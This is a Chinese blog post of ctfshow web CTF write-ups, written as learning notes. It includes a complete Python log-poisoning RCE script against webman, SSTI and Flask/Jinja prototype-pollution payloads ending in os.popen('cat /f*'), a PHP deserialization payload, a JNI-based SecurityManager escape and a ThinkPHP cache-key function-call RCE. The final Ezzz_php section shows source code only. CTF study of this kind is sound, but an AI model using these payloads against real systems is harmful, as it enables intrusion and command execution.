ctfshow刷题日记

新开一个坑,专门做ctfshow中web题的复现记录

_DSBCTF_单身杯

签到·好玩的PHP

题目直接给了php代码

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]);

    第一个考点是php的反系列化考察,代码中用到了PHP的魔术方法__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。也就是说__destruct() 会在对象被销毁时自动调用,题目里 unserialize($_GET["dsbctf"]); 之后没有把对象赋值给变量,所以这个对象很快会被销毁,触发 __destruct()。所以:我们只要传入一个序列化字符串,让反序列化出来的对象属性满足条件,就会自动执行 __destruct(),最后读取 /flag.txt。

接下来我们具体看一下 __destruct()函数。先看前三个属性:

$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {

这里 d、s、b 会被强制转成字符串。

条件要求:

  • d != s

  • d != b

  • s != b

注意这里是 !=,是松散比较,只比较值,会做类型转换。我们只要让它们三个值不一样就行。

然后:

$dsb = $this->d.$this->s.$this->b;

把 d、s、b 拼接起来。接着:

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {

要求拼接后的 $dsb 长度小于等于 3,$this->ctf 转成字符串后长度也小于等于 3。再往下:

if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {

这里是 !==,严格不等于:不仅值要不同,类型也要不同。最后:

if (md5($dsb) === md5($this->ctf)) {
    echo file_get_contents("/flag.txt");
}

要求 md5($dsb) 和 md5($this->ctf) 完全相同。正常想法可能是找两个不同字符串,但 MD5 相同。但这里不需要 MD5 碰撞。

我们利用的是:

  • $dsb 是字符串

  • $this->ctf 可以保持整数类型

  • md5() 函数会把参数强制转成字符串

比如:

$dsb = "123";   // 字符串
$ctf = 123;     // 整数

比较:

$dsb !== $ctf   // "123" !== 123,类型不同,成立

但是:

md5($dsb)       // md5("123")
md5($ctf)       // md5(123) -> md5 会把 123 转成 "123",所以也是 md5("123")

所以:

md5("123") === md5(123)  // 成立

这就绕过了“必须两个不同字符串”的限制。编写php脚本得到序列化之后的字符串

<?php
class ctfshow {
    private $d = '1';
    private $s = '2';
    private $b = '3';
    private $ctf = 123;
}

$obj = new ctfshow();
$payload = serialize($obj);

echo $payload . "\n\n";
echo urlencode($payload) . "\n";
//O:7:"ctfshow":4:{s:10:"ctfshowd";s:1:"1";s:10:"ctfshows";s:1:"2";s:10:"ctfshowb";s:1:"3";s:12:"ctfshowctf";i:123;}
//O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D

利用get方式传参即可获得flag

Snipaste_2026-09-20_10-25-21

 迷雾重重

 这道题给了源代码

<?php

namespace app\controller;

use support\Request;
use support\exception\BusinessException;

class IndexController
{
    public function index(Request $request)
    {
        
        return view('index/index');
    }

    public function testUnserialize(Request $request){
        if(null !== $request->get('data')){
            $data = $request->get('data');
            unserialize($data);
        }
        return "unserialize测试完毕";
    }

    public function testJson(Request $request){
        if(null !== $request->get('data')){
            $data = json_decode($request->get('data'),true);
            if(null!== $data && $data['name'] == 'guest'){
                return view('index/view', $data);
            }
        }
        return "json_decode测试完毕";
    }

    public function testSession(Request $request){
        $session = $request->session();
        $session->set('username',"guest");
        $data = $session->get('username');
        return "session测试完毕 username: ".$data;

    }

    public function testException(Request $request){
        if(null != $request->get('data')){
            $data = $request->get('data');
            throw new BusinessException("业务异常 ".$data,3000);
        }
        return "exception测试完毕";
    }


}

漏洞点主要在testJson,testJson可以把可控参数给view做调用,接下来我们看一下view的代码实现

/**
 * View response
 * @param string $template
 * @param array $vars
 * @param string|null $app
 * @param string|null $plugin
 * @return Response
 */
function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response
{
    $request = \request();
    $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
    $handler = \config($plugin ? "plugin.$plugin.view.handler" : 'view.handler');
    return new Response(200, [], $handler::render($template, $vars, $app, $plugin));
}

这里接下去调用了handler的render方法再接着往下看代码

    /**
     * Render.
     * @param string $template
     * @param array $vars
     * @param string|null $app
     * @param string|null $plugin
     * @return false|string
     */
    public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
    {
        $request = request();
        $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
        $configPrefix = $plugin ? "plugin.$plugin." : '';
        $viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
        $app = $app === null ? ($request->app ?? '') : $app;
        $baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
        $__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";

        if(isset($request->_view_vars)) {
            extract((array)$request->_view_vars);
        }
        extract($vars);
        ob_start();
        // Try to include php file.
        try {
            include $__template_path__;
        } catch (Throwable $e) {
            ob_end_clean();
            throw $e;
        }

        return ob_get_clean();
    }

到这里我们可以看见有一个extract((array)$request->_view_vars);可以覆盖参数,然后后面有include $__template_path__;可以进行文件包含,我们只需要传data的时候把__template_path__当作一部分赋值就可以进行覆盖然后进行文件包含,这道题还有一个考点就是在基于 Linux 的操作系统中,/proc 目录下存储了关于系统和运行中进程的信息。每个运行中的进程都会在 /proc/[pid]/cmdline 文件中保存该进程的启动命令行信息,其中可能包含启动该进程时使用的脚本或可执行文件路径。我们先包含这个文件进行包含读取,可以读到源代码的路径

def get_webroot():
    print("[+] Getting webroot...")

    webroot = ""

    for i in range(1, 300):
        r = requests.get(
            url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))
        time.sleep(0.2)
        if "start.php" in r.text:
            print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")
            webroot = r.text.split("start_file=")[1][:-10]
            print(f"Found webroot: {webroot}")
            break
    return webroot

得到路径:WorkerMan: master process  start_file=/var/www/html/webrooth1xaa/start.php

接下来我们可以包含一个php代码<?php%20`cat%20/s00*>/var/www/html/webrooth1xaa/public/flag.txt`;?> 包含php代码会导致include失败这个特性,include失败后自然就会将报错信息写入日志文件,那么这个php代码也会被写入日志文件,接下来我们只要去包含这个日志文件那么就可以执行任意命令了,具体日志文件路径以及文件名格式可以本地调试一下就可以找到。执行命令了之后我们只需要把结果写到前端可访问文件中即可获取到flag

完整的触发脚本

import requests
import time
from datetime import datetime

# 注意 这里题目地址 应该https换成http
url = "http://09b83f8d-1fce-4a9a-aab2-90c7168e4b4e.challenge.ctf.show/"


# Author: ctfshow h1xa
def get_webroot():
    print("[+] Getting webroot...")

    webroot = ""

    for i in range(1, 300):
        r = requests.get(
            url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))
        time.sleep(0.2)
        if "start.php" in r.text:
            print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")
            webroot = r.text.split("start_file=")[1][:-10]
            print(f"Found webroot: {webroot}")
            break
    return webroot


def send_shell(webroot):
    # payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot)
    payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format(
        webroot)
    r = requests.get(url=url + payload)
    time.sleep(1)
    if r.status_code == 500:
        print("[\033[31m*\033[0m] Shell sent successfully")
    else:
        print("Failed to send shell")


def include_shell(webroot):
    now = datetime.now()
    payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format(
        webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d"))
    r = requests.get(url=url + payload)
    time.sleep(5)
    r = requests.get(url=url + 'flag.txt')
    if "ctfshow" in r.text:
        print("=================FLAG==================\n")
        print("\033[32m" + r.text + "\033[0m")
        print("=================FLAG==================\n")
        print("[\033[31m*\033[0m] Shell included successfully")
    else:
        print("Failed to include shell")


def exploit():
    webroot = get_webroot()
    send_shell(webroot)
    include_shell(webroot)


if __name__ == '__main__':
    exploit()

Snipaste_2026-09-21_15-44-57

 ez_inject

访问进去是一个登录界面,可以注册可以登录,随便注册一个账号登录之后有一个原样输出的功能界面,然后secret和chat给了提示应该是想让我们在注册的地方做污染

Snipaste_2026-09-21_15-57-02

 在secret界面提示除非你是小菜鸡师傅这里猜测有cookie,尝试抓包看下确实有

Snipaste_2026-09-21_16-00-35

 jwt解不了尝试用session可以解出来

Snipaste_2026-09-21_16-05-42

 那么思路很明显肯定是需要我们把is_admin改为1,那就说明我们需要找到secret_key,flask框架的secret_key是可以被污染的,污染payload如下:

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"hack"
                }
            }
        }
    }
}

然后我们在注册界面污染一波

import requests
import json

url = "http://9b55aa45-8881-4611-af5e-479c8b4a0860.challenge.ctf.show/register"
payload = {
    "username": "test",
    "password": "test",
    "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "generate"}}}},
}
r = requests.post(url=url, json=payload)
print(r.text)

Snipaste_2026-09-22_09-13-51

 接下来跑一下伪造的cookie

Snipaste_2026-09-22_09-15-53

 修改cookie登录成功

Snipaste_2026-09-22_09-18-52

 尝试去访问/echo接口

Snipaste_2026-09-22_09-21-10

 修改传参方式为POST

Snipaste_2026-09-22_09-22-03

 提示让我们去原来的路径下进行注入,其实就是最开始的回声功能的地方

Snipaste_2026-09-22_09-25-58

 这里考察的是SSTI模板注入但是有很多过滤,测试之后发现cycler有回显

Snipaste_2026-09-22_09-49-04

 然后直接就可以读出flag

Snipaste_2026-09-22_09-51-57

 ezzz_ssti

 打开题目查看一下功能很简单,通过get方式传什么参数就会显示在页面上

Snipaste_2026-09-22_11-00-09

 测试发现存在ssti模板注入{{7*7}}中的7*7被当作代码执行结果返回在页面上

Snipaste_2026-09-22_11-02-04

 

 直接用了上一题的payload尝试看能不能读取发现对输入有长度限制

Snipaste_2026-09-22_11-03-47

测试一下发现可以执行config

Snipaste_2026-09-22_11-14-52

 

 config 本质是字典子类,有 update() 方法,可以改自己。这时候可以用set+update的方式更新config里面的参数从而实现调用

{%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /f*").read()}}  

Snipaste_2026-09-22_11-10-44

 简单的文件上传

访问题目功能很简单,可以上传jar包然后去执行上传的jar包

Snipaste_2026-09-22_13-20-05

写一个简单的java的getshell的代码然后打成jar包尝试上传并且执行

Snipaste_2026-09-22_13-54-35

 JVM 启用了 SecurityManager,Java 安全管理器(java.security.Manager)是一个用于增强 Java 应用程序安全性的重要机制,它可以控制程序对系统资源的访问权限,如文件访问、网络连接、加载外部库等。启用后,Java 程序会受限于一组安全策略,这些策略会控制哪些操作是允许的,哪些操作是不允许的。

经过测试后,可以知道jvm对 uploads 有读权限,同时有loadLibrary.*权限

具有LoadLibrary.*的权限,首先我们要知道LoadLibrary是干嘛的。

loadLibrary 是 Java 中用于加载本地共享库(如 .so 文件、.dll 文件)的一个方法。它是通过 Java 的 Java Native Interface (JNI) 机制来实现与本地代码(通常是 C 或 C++ 编写的)进行交互的关键方法之一。

在 Java 程序中,当你需要调用本地方法时,你可以使用 System.loadLibrary 来加载一个本地库文件(例如 .so 或 .dll 文件),并且该库包含了与 Java 程序交互的本地代码。

所以只要我们上传了so文件,我们就可以通过上传jar包来加载so文件从而执行本地共享库中的命令。题目限制了只能传jar,我们把后缀改成jar即可上传成功

Snipaste_2026-09-22_14-05-00

 

恶意方法为 CTFshowCodeManager.eval,然后构造外部jar文件
package com.ctfshow;

public class CTFshowCodeManager {
    static {
        System.load("/var/www/html/uploads/CTFshowCodeManager.jar");

    }

    public static native String eval(String cmd);
}
package com.ctfshow;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        CTFshowCodeManager.eval("cat /secretFlag000.txt");
    }
}
打成jar包 先上传jar执行即可 getshell

Snipaste_2026-09-22_14-13-12

 _XGCTF_西瓜杯

 CodeInject

访问即可看见php源码

Snipaste_2026-09-22_14-41-40

 我们可以用POST方式传参,但是参数会被拼接到var_dump()函数里面作为参数,这样无论我们传什么都没办法进行命令执行,但是我们可以构造闭合,把前面var_dump函数正常执行然后后面拼接上我们想执行的语句进行命令执行

Snipaste_2026-09-22_14-45-35

 直接即可读取flag

Snipaste_2026-09-22_14-46-23

 tpdoor

题目给了index页面的php代码

<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
    protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
    public function index($isCache = false , $cacheTime = 3600)
    {
        
        if($isCache == true){
            $config = require  __DIR__.'/../../config/route.php';
            $config['request_cache_key'] = $isCache;
            $config['request_cache_expire'] = intval($cacheTime);
            $config['request_cache_except'] = [];
            file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
            return 'cache is enabled';
        }else{
            return 'Welcome ,cache is disabled';
        }
    }



}

这是一个 ThinkPHP 的控制器代码。核心作用是:通过访问这个接口并传入参数,动态修改 config/route.php 配置文件,从而开启/关闭 ThinkPHP 的请求缓存,并设置缓存时间。

尝试通过get方式给isCache传参发现成功,那么isCache就是可控的了

Snipaste_2026-09-22_16-15-04

 这道题考察的是CheckRequestCache中间件解析的漏洞

think\middleware\CheckRequestCache是 ThinkPHP 框架中的一个中间件,作用是检查和处理请求的缓存。它的主要功能是在用户请求时检查是否有可用的缓存,如果缓存可用则直接返回缓存内容,从而避免重新处理请求,提升性能。

代码中用 file_put_contents 重写 config/route.php

接下来我们找一下这个中间件的源码看一下

<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2021 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
declare (strict_types = 1);

namespace think\middleware;

use Closure;
use think\Cache;
use think\Config;
use think\Request;
use think\Response;

/**
 * 请求缓存处理
 */
class CheckRequestCache
{
    /**
     * 缓存对象
     * @var Cache
     */
    protected $cache;

    /**
     * 配置参数
     * @var array
     */
    protected $config = [
        // 请求缓存规则 true为自动规则
        'request_cache_key'    => true,
        // 请求缓存有效期
        'request_cache_expire' => null,
        // 全局请求缓存排除规则
        'request_cache_except' => [],
        // 请求缓存的Tag
        'request_cache_tag'    => '',
    ];

    public function __construct(Cache $cache, Config $config)
    {
        $this->cache  = $cache;
        $this->config = array_merge($this->config, $config->get('route'));
    }

    /**
     * 设置当前地址的请求缓存
     * @access public
     * @param Request $request
     * @param Closure $next
     * @param mixed   $cache
     * @return Response
     */
    public function handle($request, Closure $next, $cache = null)
    {
        if ($request->isGet() && false !== $cache) {
            if (false === $this->config['request_cache_key']) {
                // 关闭当前缓存
                $cache = false;
            }

            $cache = $cache ?? $this->getRequestCache($request);

            if ($cache) {
                if (is_array($cache)) {
                    [$key, $expire, $tag] = array_pad($cache, 3, null);
                } else {
                    $key    = md5($request->url(true));
                    $expire = $cache;
                    $tag    = null;
                }

                $key = $this->parseCacheKey($request, $key);

                if (strtotime($request->server('HTTP_IF_MODIFIED_SINCE', '')) + $expire > $request->server('REQUEST_TIME')) {
                    // 读取缓存
                    return Response::create()->code(304);
                } elseif (($hit = $this->cache->get($key)) !== null) {
                    [$content, $header, $when] = $hit;
                    if (null === $expire || $when + $expire > $request->server('REQUEST_TIME')) {
                        return Response::create($content)->header($header);
                    }
                }
            }
        }

        $response = $next($request);

        if (isset($key) && 200 == $response->getCode() && $response->isAllowCache()) {
            $header                  = $response->getHeader();
            $header['Cache-Control'] = 'max-age=' . $expire . ',must-revalidate';
            $header['Last-Modified'] = gmdate('D, d M Y H:i:s') . ' GMT';
            $header['Expires']       = gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT';

            $this->cache->tag($tag)->set($key, [$response->getContent(), $header, time()], $expire);
        }

        return $response;
    }

    /**
     * 读取当前地址的请求缓存信息
     * @access protected
     * @param Request $request
     * @return mixed
     */
    protected function getRequestCache($request)
    {
        $key    = $this->config['request_cache_key'];
        $expire = $this->config['request_cache_expire'];
        $except = $this->config['request_cache_except'];
        $tag    = $this->config['request_cache_tag'];

        foreach ($except as $rule) {
            if (0 === stripos($request->url(), $rule)) {
                return;
            }
        }

        return [$key, $expire, $tag];
    }

    /**
     * 读取当前地址的请求缓存信息
     * @access protected
     * @param Request $request
     * @param mixed   $key
     * @return null|string
     */
    protected function parseCacheKey($request, $key)
    {
        if ($key instanceof \Closure) {
            $key = call_user_func($key, $request);
        }

        if (false === $key) {
            // 关闭当前缓存
            return;
        }

        if (true === $key) {
            // 自动缓存功能
            $key = '__URL__';
        } elseif (strpos($key, '|')) {
            [$key, $fun] = explode('|', $key);
        }

        // 特殊规则替换
        if (false !== strpos($key, '__')) {
            $key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key);
        }

        if (false !== strpos($key, ':')) {
            $param = $request->param();

            foreach ($param as $item => $val) {
                if (is_string($val) && false !== strpos($key, ':' . $item)) {
                    $key = str_replace(':' . $item, (string) $val, $key);
                }
            }
        } elseif (strpos($key, ']')) {
            if ('[' . $request->ext() . ']' == $key) {
                // 缓存某个后缀的请求
                $key = md5($request->url());
            } else {
                return;
            }
        }

        if (isset($fun)) {
            $key = $fun($key);
        }

        return $key;
    }
}

我们重点关注这两个地方

elseif (strpos($key, '|')) {
            [$key, $fun] = explode('|', $key);
        }
if (isset($fun)) {
            $key = $fun($key);
        }

如果key里面含有|,会按照 |前后将key拆分,前面的部分作为key后面的部分作为fun,然后最后如果存在fun的话那么会把fun当作函数key当作参数进行执行。

再去看key的取值我们可以发现:

$key    = $this->config['request_cache_key'];

key就是config里面的request_cache_key,也就是前面我们测试过的isCache,那也就是说我们可以通过构造isCache的值去达到命令执行的目的

Snipaste_2026-09-22_16-39-57

 直接读取flag即可

Snipaste_2026-09-22_16-44-46

 easy_polluted

 题目给了源代码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("flag.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

里面用了merge函数可以做原型链污染,但是存在过滤,过滤了'init', 'global', 'env', 'app', '_', 'string'这几个。还存在一个/admin的接口,username == "adminer" and password == app.secret_key的时候可以获得flag。密钥是随机生成的一个md5字符串。那么思路就是通过原型链污染去覆盖app.secret_key,然后去/admin接口获取flag。但是这个题我们还要看下flag.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index</title>
</head>
<body>
    这又是什么jinja语法啊!
    [#flag#]
</body>
</html>

flag.html不是正常的渲染格式,Jinja2 的变量是 {{ flag }},注释是 {# flag #},语句是 {% ... %}。题目里写的 [#flag#] 会被当成普通文本原样输出,浏览器里只会看到 [#flag#],不会变成 flag。所以我们在污染的时候jinja2模板字符串也需要污染

Jinja2 的 Environment 有两个属性:

  • variable_start_string,默认 {{

  • variable_end_string,默认 }}

我们需要把这两个值做污染,然后绕过过滤很简单可以用编码的方式绕过

首先我们污染一下secret_key

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"generate"}}}}

Snipaste_2026-09-23_10-32-18

 然后我们去污染Environment属性

{
 
 "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
 "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
 "\u0061\u0070\u0070" : {
 "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
 }
 }
 }
}

Snipaste_2026-09-23_11-08-24

 污染完之后我们可以获取一下Cookie,我们在/接口处发送账号和密码会得到cookie

Snipaste_2026-09-23_11-14-06

Snipaste_2026-09-23_11-13-58

 然后我们拿着获取到的cookie直接去/admin接口就可以获取到flag了

Snipaste_2026-09-23_11-14-37

 Ezzz_php

打开题目是php源码

 <?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
    public $start;
    public $filename="/etc/passwd";
    public function __construct($start){
        $this->start=$start;
    }
    public function __destruct(){
        if($this->start == "gxngxngxn"){
           echo 'What you are reading is:'.file_get_contents($this->filename);
        }
    }
}
if(isset($_GET['start'])){
    $readfile = new read_file($_GET['start']);
    $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
    if(preg_match("/\[|\]/i", $_GET['read'])){
        die("NONONO!!!");
    }
    $ctf = substrstr($read."[".serialize($readfile)."]");
    unserialize($ctf);
}else{
    echo "Start_Funny_CTF!!!";
} Start_Funny_CTF!!!

 


 

posted @ 2026-09-22 14:13  Sone070805  阅读(16)  评论(0)    收藏  举报